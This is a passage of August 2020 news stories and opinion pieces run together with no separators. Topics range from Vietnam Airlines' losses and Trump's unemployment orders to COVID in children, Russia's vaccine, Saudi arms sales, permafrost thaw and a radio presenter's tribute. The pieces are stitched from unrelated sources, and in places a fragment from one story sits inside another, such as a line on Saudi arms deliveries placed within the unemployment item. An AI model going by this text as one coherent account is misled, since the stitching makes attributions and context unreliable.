pandemic resurfaced in Vietnam on July 25, the number of flights by Vietnam Airlines has fallen down to the level early May, when the country began to ease social distancing measures and resumed economic activities. "This second wave has not shut down Vietnam Airlines intentions to recover its business, but it has put more roadblocks on its path," Thanh said. The airlines earlier plan to fully recover by 2022 might be pushed further back, he added. Thanh forecast that in the last five months of the year, passenger numbers in Vietnams domestic market will fall 30 percent year-on-year. For the whole year, passenger numbers will drop 30-40 percent and ticket prices 30 percent, he estimated. He said the carriers senior management has been working hard to steer the airline to recovery. It has negotiated with partners to delay debt repayment of VND2.4 trillion ($103 million) for this and next year. Local banks have also agreed to let the airline delay payments of VND775 billion. Vietnam Airlines outgoing chairman Pham Ngoc Minh said the airline was in finalizing procedures seeking a VND4 trillion loan from the government and a VND8 trillion ($344 million) increase in charter capital. The government owns an 86.19 percent stake in the airline. Shareholders of Vietnam Airlines on Monday voted with immediate effect to replace chairman Minh with the current deputy CEO, Dang Ngoc Hoa, as the former was retiring. They also voted to remove two current board members, Nguyen Xuan Minh and Koji Shibata a representative of Japans All Nippon Airways (ANA Holdings), which owns a 8.77 percent stake in the carrier. These two will be replaced by three new board members. Two of them will be deputy CEOs Hoa and Le Hong Ha, and the other, Tomoji Ishii, senior vice president of ANA Holdings. Vietnam Airlines recorded a loss of VND6.6 trillion ($285 million) in the first half of this year and has forecast this figure to reach VND15.1 trillion by the end of the year. Its debt to equity ratio was 2.4 at the end of June and could rise to 12-14 by the end of the year. Andrew Harnik, STF / Associated Press Theres still much confusion about how President Donald Trumps executive orders giving an extra $400 per week to unemployment recipients will play out if at all. The orders pull money from the Federal Emergency Management Agencys hurricane response fund and allocate it to the increased unemployment payments after Congress failed to compromise on how benefits would be expanded under the next COVID-19 economic relief bill, according to the Texas Tribune. Up until the end of July, recipients were receiving an extra $600 per week for unemployment, but Senate Republicans balked at the idea of expanding those benefits and conceding other aspects of the bill pushed by House Democrats. Delivery of 11 of the 22 was scheduled to begin before the end of 2019, and five would not begin delivery until 2020 or later, according to redacted portions. In a letter to the inspector general, attached to the report, Cooper said that the Certification itself was perhaps the most major deliverable, apparently as a reflection of administration support for the Saudis. Nearly 100,000 young people tested positive for coronavirus in the last two weeks of July, as school districts across the US plan to reopen during the pandemic. But Donald Trump has repeatedly insisted that children are immune from the virus. Asked on Monday whether infections among young people gives him any pause, he said: No. There may be a case, a tiny, a tiny fraction of death, tiny fraction, and they get better very quickly. Last week, social media platforms forced Mr Trump and his campaign to remove videos from their accounts in which the president claimed children are virtually immune to the virus, which is false. Asked if he still believes that, the president said: For the most part, yeah, I think they do very well. They dont catch it very easily ... They dont transport it or transfer it to other people, or certainly not very easily. A report published by the American Academy of Pediatrics and the Childrens Hospital Association discovered a 40 per cent increase in Covid-19 cases among young people within that time, when the nations confirmed infections spiked to more than 4 million. Confirmed cases reached more than 5 million within the two weeks that follows. At least 86 children in the US have died from the disease since May, according to the report. More than 163,000 people have died from Covid-19-related illness, according to Johns Hopkins University. The reports release follows the presidents false claim last week that children are almost immune or virtually immune from the virus, a claim that he appeared to walk back during a White House briefing by saying that children are able to throw it off and are less likely to get sick compared to adults. The Centres for Disease Control and Prevention and other health experts have found that children are equally vulnerable to transmitting the virus. Facebook removed video of his remarks, which the platform said violated the companys policies around harmful Covid misinformation. Twitter also told the presidents campaign account to remove the video, which the president shared to his account. The original Tweet from @TeamTrump is in violation of the Twitter Rules on Covid-19 misinformation, and weve required removal, a Twitter spokesman said. The administration has pushed for schools to reopen during the public health crisis following revised CDC guidelines that downplay the risk of transmissions among young people, and stress that death rates among school-aged children are much lower than among adults. But a series of recent studies about Covid-19s impact among children reveals the scope of the disease and how it interacts among different populations. One CDC study shows children ages 10 to 19 are just as infectious as adults, although children under 10 years old were roughly half as likely as adults to spread the virus, Young children may show higher attack rates when the school closure ends, contributing to community transmission of Covid-19, the authors wrote. Middle- and high-school aged children have a similar rate of health risk as adults, the report found. Household transmission of [Covid-19] was high if the index patient was 10-19 years of age, according to the report. The CDC also discovered that Hispanic and black children are at a greater risk of hospitalisation for coronavirus. Hispanic children are roughly eight times as likely as white children to be hospitalised, while black children were five times as likely. The CDCs analysis of of 576 children hospitalised in 14 states found that roughly a third of those patients were admitted to intensive care units, a rate similar to adults. Nearly one out of five patients were younger than 3 months old. The reports follow the CDCs own insistence that schools reopen, arguing that the harms attributed to closed schools on the social, emotional, and behavioural health, economic well-being, and academic achievement of children, in both the short- and long-term, are well-known and significant. Despite Floridas climbing infection rates, at roughly 17 per cent, schools in a dozen counties are scheduled to reopen this week. CDC guidance suggests areas with infection rates higher than 5 per cent should be closed to in-person instruction. At a reopened Georgia high school, where a photo of a packed hallway went viral, at least six students and three staff members have tested positive for Covid-19. Editors note: This column contains some racially offensive terms. By Melba Tolliver No matter who wins the So You Want To Be Joe Bidens Vice President contest, his choice is guaranteed to stir up talk that conflates race and gender. Talk that mixes such descriptors as black, African-American, people of color, Latinos, Latinx , minority, and so on into a toxic brew. One that cuts two ways when non-whites use them to self-identify. And when whites use them as code, as verbal shorthand for not white. Im not sure, but I think the first reporting had Biden promising to name a woman as his potential running mate. In general, when racial identification is withheld, woman is understood to mean white woman. This erasure of race is something Nobel laureate Toni Morrison writes about in The Origin of Others. Notice how youll always find a racial descriptor when woman talk is not about white women. Such is the case with the other Biden promise, to nominate a black woman for the Supreme Court if hes elected. This fits the racial identification game, though this promise has been all but forgotten in the heat of the VP speculation. I guess were supposed to forget Martin Luther King and all that touchy-feely stuff he said about his dream of living in a nation where people are not judged by the color of their skin but by the content of their character. By character, I doubt Dr. King meant we should judge a person, including a vice presidential candidate, by asking how much money can she raise? How many social media followers does she have? Can she guarantee the black vote? The Hispanic vote? Can she fill the expected role of a VP candidate and be an attack dog? And how about the swing states, can she move the needle in any of the ones we need? Oh, and dont forget how she performs on the debate stage. Frank Bruni noted in his New York Times column of June 30, 2019, that when the field of Democratic presidential contenders was wide open, Biden and Bernie Sanders were outshone by five " top performers. According to Bruni, in that category were two women: Elizabeth Warren and Kamala Harris. Three of the five were people of color; Julian Castro, Cory Booker and Harris. As happens regularly with non-white women, Brunis calculation makes Harris a two-fer: a woman and a person of color. These labels say nothing about the character of these five top performers. Bruni leaves it to the reader to fill in the blanks, to make their own assumptions about a woman and a person of color. Chalk it up to yet another example of what the late journalism critic Neil Postman describes as Crazy Talk Stupid Talk, the title of his book on the subject. In just my own lifetime, people like me have been categorized by labels ranging from niggers to niggras to Negroes to colored people to African Americans to Black people. Back in the day when my little friends and I were colored people we skipped rope to a ditty that went: If youre white, youre alright. If youre brown, stick around. If youre black, get back. That childrens rhyme spoke volumes. Since somebody invented the all-purpose catchall people of color not to be confused with colored people our language nowadays has taken yet another twist, subtle as it might seem, just in case folks failed to read between the lines. If journalists and politicians and the fortune-telling class of public voices wont let us everyday folks in on what we really ought to look for in our leaders setting aside charisma, performance, celebrity, facebook followers, skin color and being good looking then I suggest we everyday folks take matters into our own hands. Make our voices heard loud and clear: Integrity Matters. Relevant Experience Matters. Mental Stability Matters. Beliefs Matter. Vision Matters. Empathy Matters. Moral Courage Matters. A readiness and ability to engage in Good Trouble Matters. Slapping labels on people only promotes linguistic laziness, implies that labeled people are homogenous, and that we are interchangeable. But labeled, categorized people know better. We know that who people really are is revealed by their character. The poet Maya Angelou said it best with this sage advice: When people show you who they are, believe them. Believe Clarence Thomas when he shows you he is not Thurgood Marshall. Both men. Both black. Both Supreme Court justices. But in their views of the Constitution and its interpretation, as different as night and day. Believe Kamala Harris is not Stacey Abrams. Elizabeth Warren is not Susan Collins. Susan Rice is not Condoleeza Rice. Val Demings is not Maxine Waters who is not Cindy Hyde-Smith who is not Nancy Pelosi. True, they all fit our definition of women, but gender is just the starting point for showing us who they are. And then theres Anita Hill, a woman, a black woman not interchangeable with any of the above. Shes not a politician. Not auditioning to be Bidens VP. But maybe, just maybe we need to be reminded that it was Hill, being attacked and defamed in a Biden-led Senate grilling in 1991 that showed us something we ought to believe and compare about character his and hers. With people asking Will this time be different?, theres a good chance it will be different if, among other behaviors, we cast aside some of the crazy, stupid talk weve been led to believe, talk that makes mischief and absolutely no sense when given a good hard look. Melba Tolliver, a writer and former TV news anchor, is a winner of the John B Russwurm and New York Association of Black Journalists Lifetime Achievement Awards. She lives in Lower Mount Bethel Township. Her memoir, Accidental Anchorwoman: My Life of Chance, Choice and Change is scheduled for release in the fall. Secret Service Agent abruptly escorted President Donald Trump out of a press briefing on Monday after a shooting incident outside the White House that involved an armed suspect. A shooting incident occurred outside the White House on Monday that raised safety concerns of Pres. Donald Trump. A law enforcement officer shot an armed man, which occurred just minutes when Pres. Trump delivered his coronavirus briefing. Following this, reporters inside were placed into lockdown and Pres. Trump was escorted by a Secret Service Agent when they heard the two gunshots. He immediately left the podium and exited the room together with other administration officials. The President's security detail surrounded the West Wing to ensure the President and people inside the White House were safe. Luckily no one was hurt inside, and President Donald Trump administration officials remained safe. Moreover, Pres. Trump returned to the podium 10 minutes after they were informed that someone had been taken to the hospital after the White House shooting incident. Trump calmed people inside, told them that someone has already been taken to the hospital. According to a published report in The Guardian, Pres. Donald Trump said that law enforcement shot an armed man near the fence of the White House. The President did not give many details about the incident, but he thanked the Secret Service for making the people inside the White House safe. Trump said, "I do want to thank Secret Service. They are fantastic. It seems that the person was shot by the Secret Service so we'll see what happens," Additionally, Pres. Trump described and called the incident "unfortunate." Investigations about the incident are now moving, and the law enforcement officials were trying to determine the motive of the suspect that rased security alarm in the White House. The Secret Service described it as an "officer-involved shooting at 17th Street and Pennsylvania Ave". The Secret Service Agency tweeted that a male suspect and USSS were transported to the hospital after the shooting incident. The agency also wrote, "At no time during this incident was the White House complex breached or were any protectees in danger." Moreover, Pres. Trump added that he had not been taken to an underground bunker but to an area near the Oval Office. He also shared with the reporters afterward that he did not fear for his safety and showed confidence and trust in his escorts. After Trump's remarks about the shooting incident, the discussion on Monday returned to the nation's economic response to the global pandemic. Pres. Trump touted his administration's achievements in combating the pandemic, including the executive orders he signed on Saturday. He signed executive orders, including the expansion of federal unemployment claims, house eviction protection, freezing student loans, and delaying payroll taxes. These are just a few of the actions decided by President Trump after Congress fails to take action on the second round of the coronavirus relief package. Check these out! Universities over expansion has left students loaded with heavy debt for little economic benefit and the faculties risking bankruptcy, a think tank has warned. A report titled Saving Britains Universities puts forward systematic proposals for radical reform, including closing and merging some of the educational bodies. They also said a grade cut-off of three Cs could shrink the sector as it would limit the amount of people able to attend. It pointed out the poorest students would go to 'weaker institutions' just to get loaded with heavy debt before being unable to get decent jobs, despite a degree. Universities have been warned they need to think about radical reform by the new report The report was released by think tank Cieo and was written by Dr Lee Jones, of Queen Mary University, and Dr Philip Cunliffe, of University of Kent. It said: The COVID-19 pandemic has pushed UK universities into a deep financial crisis, prompting requests for a bailout. There is no doubt that large-scale government aid far beyond that currently offered is needed to prevent serious, lasting damage to British higher education and research. The report was released by think tank Cieo and written by Drs Lee Jones and Philip Cunliffe Record number set to go through clearing - but not from overseas Universities face their 'busiest' ever clearing period as a record number of students are due to take up places through the system, the head of Ucas has predicted. With less than a week to go until youngsters receive their A-level results, nearly three in four of the top institutions have vacancies on their undergraduate programmes on the clearing website. And more than 4,500 courses at the elite Russell Group universities still have spaces. School leavers who have had their gap-year plans disrupted by Covid-19 will be among those who will bypass the main application scheme and search for a course through clearing, the admissions service predicted. Analysis showed that for applicants living in England, there were 29,163 courses with availability across 327 universities and colleges. Seventeen of the 24 Russell Group universities had vacancies for English residents a total of 4,509 courses between them on the Ucas clearing site ahead of results day on Thursday. Clare Marchant, Ucas' chief executive, said the 'fragile' situation', where the number of overseas students could fall amid Covid-19, alongside the fact there are fewer 18-year-olds in the population, may play to UK students' advantage when applying. Advertisement However, this is also an opportunity for a fundamental rethink of UK HE, which was already in deep trouble well before COVID-19 struck. Successfully restructuring HE requires both frank recognition of past policy failures and the political will to depart radically from the status quo, rather than merely trying to tweak a fundamentally flawed system. The two fundamental drivers of the sectors many problems which COVID-19 has merely exposed, rather than causing are the sectors over-expansion and marketisation. Although expanding HE participation was well-intended, massification has not yielded the expected benefits for the UK economy or individuals. Massification has largely involved funnelling disadvantaged students into weaker, over-burdened institutions, where they are more likely to incur heavy debts for very little economic benefit. The report claims the over-expanded university sector attracts students more likely to drop out and even those that graduate have worse chances of getting professional jobs. It added that disadvantaged students heading to university had increased from 18 per cent in 2009/10, to 26.4 per cent in 2017/18. Universities have been plunged into financial trouble during the coronavirus pandemic due to their reliance on foreign students. Half a million come from abroad every year to study in the UK but travel restrictions and fears of the virus are expected to jeopardise the numbers this year. Cieos report concluded: We cannot emphasise enough that merely downsizing the HE sector while retaining market-style governance will not solve its problems. They will simply persist in a smaller number of institutions. Only a bold restructuring can set universities on an entirely new path. Photograph: Nasa Handout/EPA When you stand facing an exposed edge of permafrost, you can feel it from a distance. It emanates a cold that tugs on every one of your senses. Permanently bound by ice year after year, the frozen soil is packed with carcasses of woolly mammoths and ancient ferns. Theyre unable to decompose at such low temperatures, so they stay preserved in perpetuity until warmer air thaws their remains and releases the cold that theyve kept cradled for centuries. default I first experienced that distinct cold in the summer of 2016. I was traveling across Arctic Europe with a team of researchers to study climate change impacts. We were a few hours past the Finnish border in Russia when we stopped to first set foot on the tundra. The ground was soft but solid beneath our feet, covered with mosses and wildflowers that stretched into the distance until abruptly interrupted by a slick, towering wall of thawing permafrost. As we stood facing the muddy patch of uncovered earth, the sensation of escaping cold felt terrifying. The northern hemisphere is covered by 9m sq miles of permafrost. This solid ground, and all the organic material it contains, is one of the largest greenhouse gas stores on the planet. Frozen, it poses little threat to the 4 million people that call the Arctic home, or to the 7.8 billion of us that call Earth home. But defrosted by rising temperatures, thawing permafrost poses a planetary risk. When the organic material begins to decompose, permafrost thaw can destabilize major infrastructure, discharge mercury levels dangerous to human health and release billions of metric tons of carbon. We witnessed small-scale damage in Russia that summer through slumped landscapes and uneven roads. At the time, the larger, more dramatic changes were predicted to unfold over the course of this century. Four years later, those changes are happening much sooner than scientists predicted. The carbon-laden cold of the Arctics permafrost is leaking into Earths atmosphere, and we are not ready for the consequences. Story continues In June, the Russian Arctic reached 100.4F, the highest temperature in the Arctic since record-keeping began in 1885. The heat shocked scientists, but was not a unique or unusual event in a climate-changed world. The Arctic is warming at nearly three times the rate of the global average, and Junes single-day high was part of a month-long heatwave. This relentless heat has melted sea ice and made traditional subsistence dangerous for skilled Indigenous hunters. Its fueled costly wildfires, some of which are so strong they now last from one summer to the next. And its sped up permafrost thaw, buckling roads and displacing entire communities. Watching the heat of 2020 devastate the Arctic, I think back to the fear we experienced while watching that permafrost thaw in 2016, but I also remember feeling hopeful. Just weeks before our expedition began, 174 countries had signed the Paris agreement on the first day it opened for signatures. Barack Obama and Chinas President Xi Jinping released a joint statement of climate commitments for the worlds two largest greenhouse gas emitters. It seemed like every world leader had finally dedicated themselves to climate action. Throughout our trip across the Arctic, my colleagues and I discussed the difficulties of limiting global warming to 1.5 degrees, but, with the momentum of Paris, we agreed that it was still possible to contain a climate catastrophe. It is much harder to find hope today than it was four years ago but its not impossible. The Arctics skies are blackened with wildfire smoke and we are not even halfway through summer. The Trump administration has reversed 100 environmental rules and stands on the precipice of pulling the US out of the Paris agreement in November 2020. Things may seem hopeless, but we are not helpless. Every individual has a skill, a voice, a career to wield as a tool to address climate change. Ultimately, climate action is not powered by the Paris agreement its powered by people. From presidents to protesters, we each have a part to play in limiting the devastation of the climate crisis. Climate change cannot be stopped. The Arctics ice will melt and large swaths of frozen ground will thaw. Climate change is already causing devastating loss of life, destroying irreplaceable cultural heritage and inundating the places we hold dear. With every degree we allow our world to warm, the more we lose. But by demanding climate action from our governments, and demanding climate action from ourselves, we can work today to avert the worst damage and adapt to the impacts we can no longer avoid. As the Arctic burns, we cannot afford climate silence from anyone. The cost of inaction is too high. PHOENIX, Aug. 11, 2020 /PRNewswire/ -- As is the case within most sectors of the U.S. economy, the impacts of the coronavirus have dealt a devastating blow to the American automotive industry. This pandemic has highlighted the difficulties faced by many small-town, family-owned, independent dealerships; difficulties which many of the sophisticated, tech-savvy dealerships have been fortunate enough to avoid thus far. Matt Moore, President of DealerPeak While the disparity between large and small businesses has always been a prevalent issue in the public mind, specifically as it relates to the growing "Buy Local" movement, it's companies like DealerPeak who are truly making moves to narrow the performance gap between large and mid-sized to small dealerships. DealerPeak has become a staple of the automotive industry in recent years as a key provider of customer relationship management (CRM) solutions for car dealerships across the country. Their most recent CRM innovation goes by the name CarDog, and is a first-of-its-kind program designed to cater to the needs of the smaller, independent dealers whose unique needs have gone largely unheard by the rest of the automotive CRM marketplace. "It's the independent dealers who can't always afford the latest technology that will benefit the most from the power of the CarDog CRM. CarDog allows dealers to give their customers the communication methods they have become accustomed to, while managing their leads more effectively, with 100% accountability. It's an intuitive, mobile-friendly platform that gives the little guy all of the capabilities of the larger national chains," says Matt Moore, President of CarDog While such software typically costs thousands of dollars, CarDog has worked hard to provide consumers with a more affordable option that starts at only a hundred dollars for a single user. This price point not only affords independent dealers access to one of the markets top-performing CRMs, but changes the way they'll be able to do business, especially when you take into account the features that the CarDog CRM boasts for its users. About DealerPeak DealerPeak entered the automotive space in 1999 by creating a Lead Management system for a large dealer group.Today, DealerPeak provides automotive CRM and Digital Marketing solutions, customized for dealers of all sizes. From a single-user independent used car dealership to a complex, enterprise-level dealer group with centralized lead management and marketing, DealerPeak prides itself on providing quality technology services and excellent customer support to its dealer partners. Visit www.cardog.com to learn more. Media contact: Conner Gossel [email protected] 937-545-9812 SOURCE DealerPeak Russia has yet to complete phase three clinical trials involving several thousand participants. President Vladimir Putin says Russia has become the first country to approve a vaccine offering sustainable immunity against the coronavirus and one of his daughters has been inoculated. The announcement came on Tuesday after scientists in the West raised concerns about the speed of development of Russian vaccines, suggesting researchers might be cutting corners after coming under pressure from authorities to deliver. This morning, for the first time in the world, a vaccine against the new coronavirus was registered in Russia, Putin said during a televised video conference call with government ministers. I know that it is quite effective, that it gives sustainable immunity, he said. The Russian leader said one of his daughters had been inoculated with the vaccine, developed by the Gamaleya research institute in coordination with the Russian defence ministry. In this sense she took part in the experiment, Putin said, adding she had a slight temperature after a second injection and thats all. What counts most is for us to be able to ensure the unconditional safety of the use of this vaccine and its efficiency in the future. I hope that this will be accomplished, Putin said. Health minister Mikhail Murashko said clinical trials involving several thousand participants would continue. Tatyana Golikova, a deputy prime minister in charge of health issues, said officials hoped vaccinations of medical staff could begin soon. We really hope that the vaccine can be produced in September, or even at the end of August or beginning of September, and the first category to be vaccinated will be medical personnel, she said, quoted by Russian news agencies. Viral vector vaccine Russia has been pushing hard to quickly develop a coronavirus vaccine and said earlier this month it hoped to launch mass production within weeks and turn out several million doses a month by next year. The World Health Organization (WHO) last week urged Russia to follow established guidelines and go through all the stages necessary to develop a safe vaccine. Spokesman Christian Lindmeier told reporters at the time the WHO had not been officially notified of any Russian vaccine on the verge of being deployed. The pandemic has seen an unprecedented mobilisation of funding and research to rush through a vaccine that can protect billions of people worldwide. The vaccine developed by Russia is a so-called viral vector vaccine, meaning it employs another virus to carry the DNA encoding of the needed immune response into cells. 200810231422019 Gamaleyas vaccine is based on the adenovirus, a similar technology to the coronavirus vaccine prototype developed by Chinas CanSino. The state-run Gamaleya institute came under fire after researchers and its director injected themselves with the prototype several months ago, with specialists criticising the move as an unorthodox and rushed way of starting human trials. Moscow has dismissed allegations from the United Kingdom, the United States and Canada that a hacking group linked to Russian intelligence services tried to steal information about a coronavirus vaccine from labs in the West. With more than 897,000 confirmed infections, Russias coronavirus caseload is currently fourth in the world after the US, Brazil and India. According to information published by the Korea Herald Website on August 10, 2020, the South Korean Defense Ministry plans to deploy enhanced submarines in the next five years able to carry more ballistic missiles. According to information published by the Korea Herald Website on August 10, 2020, the South Korean Defense Ministry plans to deploy enhanced submarines in the next five years able to carry more ballistic missiles. Follow Navy Recognition on Google News at this link SS-083 Dosan Ahn Chang-ho, KSS-III Class submarine (Picture Source Doosan) An official from the South Korea Ministry of Defense said, we will develop new submarines that will be able to carry more ballistic missiles than the existing Dosan submarines, which have six launching tubes. The submarine will be powered by a nuclear engine instead of diesel. The South Korea Navy currently operates a submarine fleet of nine diesel-electric Jang Bogo-class (Type 209/1200) and seven Son Won II-class (Type 214) hybrid diesel-electric/fuel cell vessels with air-independent propulsion (AIP). The Korean Attack Submarine program, KSS meaning Submarine, is a three-phased project to build up the Republic of Korea Navy (ROK Navy)'s attack submarine arsenal. For the first phase KSS-I, the South Korean Navy acquired nine 1,200-ton Chang Bo-go class submarines. For the second phase, KSS-II, the South Korean Navy plans to acquire nine 1,800-ton Type 214 submarines equipped with Air-independent propulsion (AIP) the lead ship of her class, ROKS Sohn Won-il (SS 072) was launched at a shipyard of Hyundai Heavy Industries on June 9, 2006. The third part of the program is the construction of nine local-made 3,000-ton diesel-electric attack submarines dubbed KSS-III equipped with air-independent propulsion and multiple vertical launch tubes able to fire Hyunmoo-3C cruise missiles at a range up to 1,500 kilometers. In September 2018, Daewoo Shipbuilding & Marine Engineering (DSME) launched the Republic of Korea (ROK) Navy's first 3,000 tons submarine on September 14, 2018. The flag bearer of the opposition NDC, John Dramani Mahama has been asked to render an apology to Ghanaians after conceding the just ended voter registration exercise was successful. The governing NPP called out the former President for earlier chastising the Electoral Commission and accusing President Akufo-Addo, and the party for some violence conducts and the deployment of the military to the Volta, Oti and Bono regions to prevent Ewes from acquiring a voter ID. Mr. Mahama after the exercise admitted the voter's registration met his expectations justifying the registration process was fruitful. General secretary of the NPP John Boadu at a press conference in Accra to assess the exercise said the former president must apologize to Ghanaians describing his earlier comments as ethnic sentiment raise through the exercise. "Happily, ladies and gentlemen, in a reported Facebook live session held on tour in Kete Krachi, the leader of the NDC, John Mahama, having initially bastardized the voter registration, has now conceded that the exercise has been successful. So, we, in the NPP expect him to apologize to the nation for the dangerous ethnic sentiments he raised, jeopardizing the security of the state with unwarranted attacks," John Boadu stressed. According to the NPPs Chief Scribe, the pronouncements of the former President were ill-motivated to cause political tensions in the country. His actions which were mirrored by the leadership of his party unduly created fear and raised political tension in the country. Certainly, Ghanaians didnt deserve this from an immediate past President of this great country who is again seeking the mandate, he added. However, the NPP maintained that the just-ended registration exercise was successful amid the pockets of violence recorded in some areas. The NPP also accused the NDC of aiding 66 Ivorians to partake in the registration with the help of Aseidu Nketia, General Secretary of the NDC. Source: Xinhua| 2020-08-12 03:27:02|Editor: huaxia Video Player Close BAGHDAD, Aug. 11 (Xinhua) -- A Katyusha rocket landed on Tuesday in the heavily fortified Green Zone in the Iraqi capital Baghdad without causing casualties, the Iraqi military said. The attack took place in the evening when a rocket fired from the abandoned military base of al-Rashid in southeastern Baghdad landed near the suspension bridge in the zone, which houses some of the main Iraqi government offices and the U.S. embassy, the media office of the Joint Operations Command said in a statement. Iraqi security forces seized another rocket set for firing in the same launch area, the statement said. No group has so far claimed responsibility for the attack, as the military bases housing U.S. troops across Iraq and the U.S. embassy have been frequently targeted by mortar and rocket attacks. More than 5,000 U.S. troops have been deployed in Iraq to support the Iraqi forces in the battles against the Islamic State militants, mainly for training and advisory purposes. Enditem The Tuesday expressed concern over mowing down of a forest home guard by alleged mining mafia in Sariska tiger reserve and directed the Centre and the Rajasthan government to ensure ban on the excavation of minor minerals. The green panel noted that mining is taking place inside the tiger reserve in violation of the Wildlife (Protection) Act, 1972 and mining norms laid down under the Sustainable Sand Mining Management Guidelines 2016 by Central Pollution Control Board under the provisions of the Environment (Protection) Act, 1986. It said that there appears to be a failure of the oversight regulatory mechanism in the enforcement of the provision of the Wildlife Act as well as Sustainable Mining Guidelines. "While this Tribunal is not directly concerned with the enforcement of criminal law, the same being incidental to the enforcement of environmental norms, we cannot refrain from expressing our concern at such incidents in eco-sensitive areas and the defiance of environmental laws remaining unchecked. "We do hope the State of Rajasthan will monitor the enforcement of law in this direction at appropriate higher level and the Union Environment Ministry will coordinate with the concerned authorities," the NGT said adding that illegal mining must be strictly dealt with. The NGT said to maintain morale of the guards and other enforcement officials and to uphold rule of law, family of the deceased ought to be suitably rehabilitated and police machinery must ensure that guilty is apprehended expeditiously and brought to justice. A bench headed by NGT Chairperson Justice Adarsh Kumar Goel formed a committee comprising officials from the state pollution control board, Alwar District Magistrate and Principal Chief Conservator of Forests (Head of Forest Force) and directed it to submit a report. "The report may also mention estimate of illegal mining, number mines sanctioned in the area and regulatory mechanism to check the illegal mining in the said eco-sensitive area," the bench said. Proceedings in this matter have been initiated based on media report that a forest home guard, Keval Singh, was mowed down by a tractor belonging to suspected mining mafia inside Sariska Tiger Reserve (STR) on July 26 after he attempted to stop them along with his colleague. According to the report, the guard was rushed to a hospital where he succumbed to injuries. Cops are yet to arrest the accused, but have seized the tractor. (Only the headline and picture of this report may have been reworked by the Business Standard staff; the rest of the content is auto-generated from a syndicated feed.) By Patricia Zengerle and Humeyra Pamuk WASHINGTON, Aug 11 (Reuters) - The U.S. Department of State did not fully evaluate the risk of civilian casualties when it pushed through a massive sale of precision-guided munitions to Saudi Arabia last year, a government watchdog's report said on Tuesday. "OIG (the State Department Inspector General) found that the Department did not fully assess risks and implement mitigation measures to reduce civilian casualties and legal concerns associated with the transfer of PGMs included in the Secretarys May 2019 emergency certification," the report said. Congress had requested an investigation into the Trump administration's May 2019 decision to push ahead with more than $8 billion in military sales to Saudi Arabia and other countries in the region, sidestepping the congressional review process by declaring an "emergency" over tensions with Iran. Members of Congress blocked some of the sales out of concern that the Raytheon Technologies Corp smart bombs and other equipment might contribute to the heavy civilian toll and humanitarian catastrophe in Yemen's civil war. The report did not take a position on whether the emergency declaration was merited, and said the State Department did not violate the Arms Export Control Act. It did find that the department had allowed some smaller sales of precision-guided munitions parts to Saudi Arabia without congressional review, even before its May 2019 action, saying they were below the threshold for congressional review. And it noted that most of the weapons sales approved under the emergency order had not been delivered by the time the investigation began this year. The report on the Saudi sales is central to President Donald Trump's abrupt dismissal in May of then-Inspector General Steve Linick, who was conducting the investigation. Congressional committees are probing his firing - one of a string of dismissals of government watchdogs by Trump that have raised concerns about oversight. (Reporting by Patricia Zengerle; editing by Jonathan Oatis) Summit Church to meet in homes for rest of 2020 due to COVID-19: JD Greear explains why Email Print Img No-img Menu Whatsapp Google Reddit Digg Stumbleupon Linkedin Comment The Summit Church, a Southern Baptist congregation in Durham, North Carolina, whose pastor is the denomination's president, won't be holding services for the remainder of the year due to COVID-19. Instead, they will be hosting small home-based gatherings in a push toward making disciples. In recently posted guidelines on its website, the church noted that the central idea "is to equip you to be the church in your homes, in your communities, and online in order for you to continue being disciple-making disciples. So even when you cant come to church, you can still be the church." Greear said he believes the shift toward home-based gatherings amid the pandemic is rooted in loving one's neighbor. "In North Carolina, our state has done a good job of respecting the First Amendment right of churches," Greear told The Christian Post. "We've also learned from other churches exercising responsibility in the decisions they are making in regards to their own gatherings. Our church has used state guidelines to inform our decisions in order to protect our congregation and the public at large as we see this as the best way to love our neighbor and be a good witness to our community. "The message we seek to send to our congregation and to our community is that, even when we are unable to gather as a large church on the weekend, the Summit Church is not 'closed' because the church exists everywhere the members of the church live," Greear said. "Jesus taught us to love our neighbors as ourselves and to love God with all of our being. He commanded us to make disciples. "We can and will continue to do that by how we live our lives in the community throughout the week, even if we are meeting in small gatherings in homes utilizing online resources on the weekend," he added. "We're focused on serving others, making disciples, and demonstrating the love Christ has for others during this pandemic." When asked what precipitated the decision to shift to home-based small gatherings and whether this is this something Summit and the SBC as a whole will expand after the pandemic passes, the North Carolina pastor said they are adjusting their thinking as to what they consider "normal." Instead of waiting for what they have previously known as normal to return, the church has decided to focus on being the church in this new reality and reiterated the emphasis they're placing on disciple-making. "This doesn't mean we don't miss gathering together as a larger community for worship and teaching, and we do hope to be able to enjoy those opportunities again soon," Greear explained. "But we do see this as an opportunity to send our members, through smaller gatherings, from their homes, into the relationships they have with their neighbors and into the communities in which they live, to be The Summit Church throughout the week, to grow as disciples, to disciple one another." The novel coronavirus led to church closures and forced congregations across the United States to meet online. Some churches continue to hold online-only services while others have opted to reopen. "We believe this could be a great time of growth and ministry for our church. When this pandemic is over and we are praying it will end soon, we believe we'll have a more equipped and practiced movement of disciple-making disciples, ready to live on mission individually even when we can gather corporately again," Greear added. R oman Kemp has paid tribute to his late friend Joe Lyons by getting a tattoo to match one the producer had on his leg. Joe worked for Global Radio for nine years and served as a producer on Kemps breakfast show - with the pair fast becoming best friends while working together. Upon receiving news of his sudden death during a live broadcast live week, Kemp and his co-hosts Sian Welby and Sonny Jay were immediately pulled off air. Mondays show then saw Kemp, 28, pay tribute to his pal and he later revealed an inking inspired by him. @romankemp Posting on his Instagram Story, Kemp explained that Lyons had a tattoo of a swallow on his leg. I always said it looked awful and like a pigeon, he added, before revealing that to honour his friend, he is now the proud owner of the same tattoo, in exactly the same spot. @romankemp Kemp broke down in tears as he paid tribute to his friend and colleague during Monday's breakfast show. He was with me right from my very first show, he said. He taught me everything. I dont know sitting in a radio studio without him. Its really weird. Roman Kemp - In pictures 1 /29 Roman Kemp - In pictures Rex Features Capital DJ Roman Kemp pictured in the studio with girlfriend Anne-Sophie Flury on his first day back at Capital Breakfast, after coming third in 'I'm A Celebrity... Get Me Out Of Here!' PA Martin Kemp, Shirley Kemp and Roman Kemp attend The Global Awards 2019 Getty Images Rex Features Capital DJ Roman Kemp (centre) is greeted by friends and family, including parents Shirlie and Martin Kemp (right) on his first day back at Capital Breakfast, after coming third in 'I'm A Celebrity... Get Me Out Of Here!' PA Roman Kemp is reunited with Sonny Jay after his stint in the jungle Capital ITV/Rex Features Roman Kemp shares a picture of his physique and tattoo @romankemp Ian West/PA Jeff Spicer/Getty Images ITV Capital FM Capital FM Capital FM Capital FM Capital FM Dave Benett Cancer Research UK Getty Images Shocked: Fans were surprised by Jade's answers to quick fire questions David Parr /PA PA Dave Benett He was kind, caring, loved dogs, he was 